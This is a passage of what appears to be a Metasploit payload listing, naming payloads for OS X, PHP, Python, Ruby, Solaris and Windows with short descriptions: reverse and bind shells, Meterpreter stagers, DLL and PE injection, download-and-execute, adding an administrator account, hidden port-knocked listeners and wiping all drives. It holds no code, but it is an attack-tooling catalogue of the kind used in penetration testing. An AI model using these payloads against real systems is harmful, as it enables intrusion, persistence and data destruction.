osx/x86/vforkshell_bind_tcp                                        Listen for a connection, vfork if necessary, and spawn a command shell
osx/x86/vforkshell_reverse_tcp                                     Connect back to attacker, vfork if necessary, and spawn a command shell
php/bind_perl                                                      Listen for a connection and spawn a command shell via perl (persistent)
php/bind_perl_ipv6                                                 Listen for a connection and spawn a command shell via perl (persistent) over IPv6
php/bind_php                                                       Listen for a connection and spawn a command shell via php
php/bind_php_ipv6                                                  Listen for a connection and spawn a command shell via php (IPv6)
php/download_exec                                                  Download an EXE from an HTTP URL and execute it
php/exec                                                           Execute a single system command
php/meterpreter/bind_tcp                                           Run a meterpreter server in PHP. Listen for a connection
php/meterpreter/bind_tcp_ipv6                                      Run a meterpreter server in PHP. Listen for a connection over IPv6
php/meterpreter/bind_tcp_ipv6_uuid                                 Run a meterpreter server in PHP. Listen for a connection over IPv6 with UUID Support
php/meterpreter/bind_tcp_uuid                                      Run a meterpreter server in PHP. Listen for a connection with UUID Support
php/meterpreter/reverse_tcp                                        Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
php/meterpreter/reverse_tcp_uuid                                   Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
php/meterpreter_reverse_tcp                                        Connect back to attacker and spawn a Meterpreter server (PHP)
php/reverse_perl                                                   Creates an interactive shell via perl
php/reverse_php                                                    Reverse PHP connect back shell with checks for disabled functions
php/shell_findsock                                                 Spawn a shell on the established connection to the webserver. Unfortunately, this payload can leave conspicuous evil-looking entries in the apache error logs, so it is probably a good idea to use a bind or reverse shell unless firewalls prevent them from working. The issue this payload takes advantage of (CLOEXEC flag not set on sockets) appears to have been patched on the Ubuntu version of Apache and may not work on other Debian-based distributions. Only tested on Apache but it might work on other web servers that leak file descriptors to child processes.
python/exec                                                        Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.
python/meterpreter/bind_tcp                                        Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection
python/meterpreter/bind_tcp_uuid                                   Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support
python/meterpreter/reverse_http                                    Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP
python/meterpreter/reverse_https                                   Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL
python/meterpreter/reverse_tcp                                     Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker
python/meterpreter/reverse_tcp_ssl                                 Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL
python/meterpreter/reverse_tcp_uuid                                Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support
python/meterpreter_bind_tcp                                        Connect to the victim and spawn a Meterpreter shell
python/meterpreter_reverse_http                                    Connect back to the attacker and spawn a Meterpreter shell
python/meterpreter_reverse_https                                   Connect back to the attacker and spawn a Meterpreter shell
python/meterpreter_reverse_tcp                                     Connect back to the attacker and spawn a Meterpreter shell
python/pingback_bind_tcp                                           Listens for a connection from the attacker, sends a UUID, then terminates
python/pingback_reverse_tcp                                        Connects back to the attacker, sends a UUID, then terminates
python/shell_bind_tcp                                              Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.
python/shell_reverse_sctp                                          Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
python/shell_reverse_tcp                                           Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.
python/shell_reverse_tcp_ssl                                       Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
python/shell_reverse_udp                                           Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
r/shell_bind_tcp                                                   Continually listen for a connection and spawn a command shell via R
r/shell_reverse_tcp                                                Connect back and create a command shell via R
ruby/pingback_bind_tcp                                             Listens for a connection from the attacker, sends a UUID, then terminates
ruby/pingback_reverse_tcp                                          Connect back to the attacker, sends a UUID, then terminates
ruby/shell_bind_tcp                                                Continually listen for a connection and spawn a command shell via Ruby
ruby/shell_bind_tcp_ipv6                                           Continually listen for a connection and spawn a command shell via Ruby
ruby/shell_reverse_tcp                                             Connect back and create a command shell via Ruby
ruby/shell_reverse_tcp_ssl                                         Connect back and create a command shell via Ruby, uses SSL
solaris/sparc/shell_bind_tcp                                       Listen for a connection and spawn a command shell
solaris/sparc/shell_find_port                                      Spawn a shell on an established connection
solaris/sparc/shell_reverse_tcp                                    Connect back to attacker and spawn a command shell
solaris/x86/shell_bind_tcp                                         Listen for a connection and spawn a command shell
solaris/x86/shell_find_port                                        Spawn a shell on an established connection
solaris/x86/shell_reverse_tcp                                      Connect back to attacker and spawn a command shell
tty/unix/interact                                                  Interacts with a TTY on an established socket connection
windows/adduser                                                    Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
windows/custom/bind_hidden_ipknock_tcp                             Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/custom/bind_hidden_tcp                                     Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/custom/bind_ipv6_tcp                                       Custom shellcode stage. Listen for an IPv6 connection (Windows x86)
windows/custom/bind_ipv6_tcp_uuid                                  Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/custom/bind_named_pipe                                     Custom shellcode stage. Listen for a pipe connection (Windows x86)
windows/custom/bind_nonx_tcp                                       Custom shellcode stage. Listen for a connection (No NX)
windows/custom/bind_tcp                                            Custom shellcode stage. Listen for a connection (Windows x86)
windows/custom/bind_tcp_rc4                                        Custom shellcode stage. Listen for a connection
windows/custom/bind_tcp_uuid                                       Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)
windows/custom/find_tag                                            Custom shellcode stage. Use an established connection
windows/custom/reverse_http                                        Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)
windows/custom/reverse_http_proxy_pstore                           Custom shellcode stage. Tunnel communication over HTTP
windows/custom/reverse_https                                       Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)
windows/custom/reverse_ipv6_tcp                                    Custom shellcode stage. Connect back to the attacker over IPv6
windows/custom/reverse_named_pipe                                  Custom shellcode stage. Connect back to the attacker via a named pipe pivot
windows/custom/reverse_nonx_tcp                                    Custom shellcode stage. Connect back to the attacker (No NX)
windows/custom/reverse_ord_tcp                                     Custom shellcode stage. Connect back to the attacker
windows/custom/reverse_tcp                                         Custom shellcode stage. Connect back to the attacker
windows/custom/reverse_tcp_allports                                Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/custom/reverse_tcp_dns                                     Custom shellcode stage. Connect back to the attacker
windows/custom/reverse_tcp_rc4                                     Custom shellcode stage. Connect back to the attacker
windows/custom/reverse_tcp_rc4_dns                                 Custom shellcode stage. Connect back to the attacker
windows/custom/reverse_tcp_uuid                                    Custom shellcode stage. Connect back to the attacker with UUID Support
windows/custom/reverse_udp                                         Custom shellcode stage. Connect back to the attacker with UUID Support
windows/custom/reverse_winhttp                                     Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)
windows/custom/reverse_winhttps                                    Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)
windows/dllinject/bind_hidden_ipknock_tcp                          Inject a DLL via a reflective loader. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/dllinject/bind_hidden_tcp                                  Inject a DLL via a reflective loader. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/dllinject/bind_ipv6_tcp                                    Inject a DLL via a reflective loader. Listen for an IPv6 connection (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid                               Inject a DLL via a reflective loader. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/dllinject/bind_named_pipe                                  Inject a DLL via a reflective loader. Listen for a pipe connection (Windows x86)
windows/dllinject/bind_nonx_tcp                                    Inject a DLL via a reflective loader. Listen for a connection (No NX)
windows/dllinject/bind_tcp                                         Inject a DLL via a reflective loader. Listen for a connection (Windows x86)
windows/dllinject/bind_tcp_rc4                                     Inject a DLL via a reflective loader. Listen for a connection
windows/dllinject/bind_tcp_uuid                                    Inject a DLL via a reflective loader. Listen for a connection with UUID Support (Windows x86)
windows/dllinject/find_tag                                         Inject a DLL via a reflective loader. Use an established connection
windows/dllinject/reverse_http                                     Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows wininet)
windows/dllinject/reverse_http_proxy_pstore                        Inject a DLL via a reflective loader. Tunnel communication over HTTP
windows/dllinject/reverse_ipv6_tcp                                 Inject a DLL via a reflective loader. Connect back to the attacker over IPv6
windows/dllinject/reverse_nonx_tcp                                 Inject a DLL via a reflective loader. Connect back to the attacker (No NX)
windows/dllinject/reverse_ord_tcp                                  Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp                                      Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_allports                             Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/dllinject/reverse_tcp_dns                                  Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4                                  Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4_dns                              Inject a DLL via a reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_uuid                                 Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support
windows/dllinject/reverse_winhttp                                  Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows winhttp)
windows/dns_txt_query_exec                                         Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE option is used as the base name to iterate over. The payload will first request the TXT contents of the a hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using x86/alpha_mixed with the BufferRegister option set to EDI.
windows/download_exec                                              Download an EXE from an HTTP(S)/FTP URL and execute it
windows/exec                                                       Execute an arbitrary command
windows/format_all_drives                                          This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). After formatting, this payload sets the volume label to the string specified in the VOLUMELABEL option. If the code is unable to access a drive for any reason, it skips the drive and proceeds to the next volume.
windows/loadlibrary                                                Load an arbitrary library path
windows/messagebox                                                 Spawns a dialog via MessageBox using a customizable title, text & icon
windows/meterpreter/bind_hidden_ipknock_tcp                        Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/meterpreter/bind_hidden_tcp                                Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/meterpreter/bind_ipv6_tcp                                  Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection (Windows x86)
windows/meterpreter/bind_ipv6_tcp_uuid                             Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/meterpreter/bind_named_pipe                                Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a pipe connection (Windows x86)
windows/meterpreter/bind_nonx_tcp                                  Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (No NX)
windows/meterpreter/bind_tcp                                       Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (Windows x86)
windows/meterpreter/bind_tcp_rc4                                   Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection
windows/meterpreter/bind_tcp_uuid                                  Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection with UUID Support (Windows x86)
windows/meterpreter/find_tag                                       Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Use an established connection
windows/meterpreter/reverse_http                                   Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows wininet)
windows/meterpreter/reverse_http_proxy_pstore                      Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP
windows/meterpreter/reverse_https                                  Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows wininet)
windows/meterpreter/reverse_ipv6_tcp                               Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker over IPv6
windows/meterpreter/reverse_named_pipe                             Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker via a named pipe pivot
windows/meterpreter/reverse_nonx_tcp                               Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (No NX)
windows/meterpreter/reverse_ord_tcp                                Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/meterpreter/reverse_tcp                                    Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/meterpreter/reverse_tcp_allports                           Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/meterpreter/reverse_tcp_dns                                Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/meterpreter/reverse_tcp_rc4                                Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/meterpreter/reverse_tcp_rc4_dns                            Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/meterpreter/reverse_tcp_uuid                               Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker with UUID Support
windows/meterpreter/reverse_winhttp                                Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows winhttp)
windows/meterpreter/reverse_winhttps                               Inject the Meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows winhttp)
windows/meterpreter_bind_named_pipe                                Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/meterpreter_bind_tcp                                       Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/meterpreter_reverse_http                                   Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/meterpreter_reverse_https                                  Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/meterpreter_reverse_ipv6_tcp                               Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/meterpreter_reverse_tcp                                    Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/metsvc_bind_tcp                                            Stub payload for interacting with a Meterpreter Service
windows/metsvc_reverse_tcp                                         Stub payload for interacting with a Meterpreter Service
windows/patchupdllinject/bind_hidden_ipknock_tcp                   Inject a custom DLL into the exploited process. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/patchupdllinject/bind_hidden_tcp                           Inject a custom DLL into the exploited process. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/patchupdllinject/bind_ipv6_tcp                             Inject a custom DLL into the exploited process. Listen for an IPv6 connection (Windows x86)
windows/patchupdllinject/bind_ipv6_tcp_uuid                        Inject a custom DLL into the exploited process. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/patchupdllinject/bind_named_pipe                           Inject a custom DLL into the exploited process. Listen for a pipe connection (Windows x86)
windows/patchupdllinject/bind_nonx_tcp                             Inject a custom DLL into the exploited process. Listen for a connection (No NX)
windows/patchupdllinject/bind_tcp                                  Inject a custom DLL into the exploited process. Listen for a connection (Windows x86)
windows/patchupdllinject/bind_tcp_rc4                              Inject a custom DLL into the exploited process. Listen for a connection
windows/patchupdllinject/bind_tcp_uuid                             Inject a custom DLL into the exploited process. Listen for a connection with UUID Support (Windows x86)
windows/patchupdllinject/find_tag                                  Inject a custom DLL into the exploited process. Use an established connection
windows/patchupdllinject/reverse_ipv6_tcp                          Inject a custom DLL into the exploited process. Connect back to the attacker over IPv6
windows/patchupdllinject/reverse_nonx_tcp                          Inject a custom DLL into the exploited process. Connect back to the attacker (No NX)
windows/patchupdllinject/reverse_ord_tcp                           Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp                               Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_allports                      Inject a custom DLL into the exploited process. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/patchupdllinject/reverse_tcp_dns                           Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_rc4                           Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_rc4_dns                       Inject a custom DLL into the exploited process. Connect back to the attacker
windows/patchupdllinject/reverse_tcp_uuid                          Inject a custom DLL into the exploited process. Connect back to the attacker with UUID Support
windows/patchupmeterpreter/bind_hidden_ipknock_tcp                 Inject the meterpreter server DLL (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/patchupmeterpreter/bind_hidden_tcp                         Inject the meterpreter server DLL (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/patchupmeterpreter/bind_ipv6_tcp                           Inject the meterpreter server DLL (staged). Listen for an IPv6 connection (Windows x86)
windows/patchupmeterpreter/bind_ipv6_tcp_uuid                      Inject the meterpreter server DLL (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/patchupmeterpreter/bind_named_pipe                         Inject the meterpreter server DLL (staged). Listen for a pipe connection (Windows x86)
windows/patchupmeterpreter/bind_nonx_tcp                           Inject the meterpreter server DLL (staged). Listen for a connection (No NX)
windows/patchupmeterpreter/bind_tcp                                Inject the meterpreter server DLL (staged). Listen for a connection (Windows x86)
windows/patchupmeterpreter/bind_tcp_rc4                            Inject the meterpreter server DLL (staged). Listen for a connection
windows/patchupmeterpreter/bind_tcp_uuid                           Inject the meterpreter server DLL (staged). Listen for a connection with UUID Support (Windows x86)
windows/patchupmeterpreter/find_tag                                Inject the meterpreter server DLL (staged). Use an established connection
windows/patchupmeterpreter/reverse_ipv6_tcp                        Inject the meterpreter server DLL (staged). Connect back to the attacker over IPv6
windows/patchupmeterpreter/reverse_nonx_tcp                        Inject the meterpreter server DLL (staged). Connect back to the attacker (No NX)
windows/patchupmeterpreter/reverse_ord_tcp                         Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp                             Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_allports                    Inject the meterpreter server DLL (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/patchupmeterpreter/reverse_tcp_dns                         Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_rc4                         Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_rc4_dns                     Inject the meterpreter server DLL (staged). Connect back to the attacker
windows/patchupmeterpreter/reverse_tcp_uuid                        Inject the meterpreter server DLL (staged). Connect back to the attacker with UUID Support
windows/peinject/bind_hidden_ipknock_tcp                           Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/peinject/bind_hidden_tcp                                   Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/peinject/bind_ipv6_tcp                                     Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection (Windows x86)
windows/peinject/bind_ipv6_tcp_uuid                                Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection with UUID Support (Windows x86)
windows/peinject/bind_named_pipe                                   Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a pipe connection (Windows x86)
windows/peinject/bind_nonx_tcp                                     Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection (No NX)
windows/peinject/bind_tcp                                          Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection (Windows x86)
windows/peinject/bind_tcp_rc4                                      Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection
windows/peinject/bind_tcp_uuid                                     Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection with UUID Support (Windows x86)
windows/peinject/find_tag                                          Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Use an established connection
windows/peinject/reverse_ipv6_tcp                                  Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker over IPv6
windows/peinject/reverse_named_pipe                                Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker via a named pipe pivot
windows/peinject/reverse_nonx_tcp                                  Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker (No NX)
windows/peinject/reverse_ord_tcp                                   Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/peinject/reverse_tcp                                       Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/peinject/reverse_tcp_allports                              Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/peinject/reverse_tcp_dns                                   Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/peinject/reverse_tcp_rc4                                   Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/peinject/reverse_tcp_rc4_dns                               Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/peinject/reverse_tcp_uuid                                  Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker with UUID Support
windows/pingback_bind_tcp                                          Open a socket and report UUID when a connection is received (Windows x86)
windows/pingback_reverse_tcp                                       Connect back to attacker and report UUID (Windows x86)
windows/powershell_bind_tcp                                        Listen for a connection and spawn an interactive powershell session
windows/powershell_reverse_tcp                                     Listen for a connection and spawn an interactive powershell session
windows/powershell_reverse_tcp_ssl                                 Listen for a connection and spawn an interactive powershell session over SSL
windows/shell/bind_hidden_ipknock_tcp                              Spawn a piped command shell (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/shell/bind_hidden_tcp                                      Spawn a piped command shell (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/shell/bind_ipv6_tcp                                        Spawn a piped command shell (staged). Listen for an IPv6 connection (Windows x86)
windows/shell/bind_ipv6_tcp_uuid                                   Spawn a piped command shell (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/shell/bind_named_pipe                                      Spawn a piped command shell (staged). Listen for a pipe connection (Windows x86)
windows/shell/bind_nonx_tcp                                        Spawn a piped command shell (staged). Listen for a connection (No NX)
windows/shell/bind_tcp                                             Spawn a piped command shell (staged). Listen for a connection (Windows x86)
windows/shell/bind_tcp_rc4                                         Spawn a piped command shell (staged). Listen for a connection
windows/shell/bind_tcp_uuid                                        Spawn a piped command shell (staged). Listen for a connection with UUID Support (Windows x86)
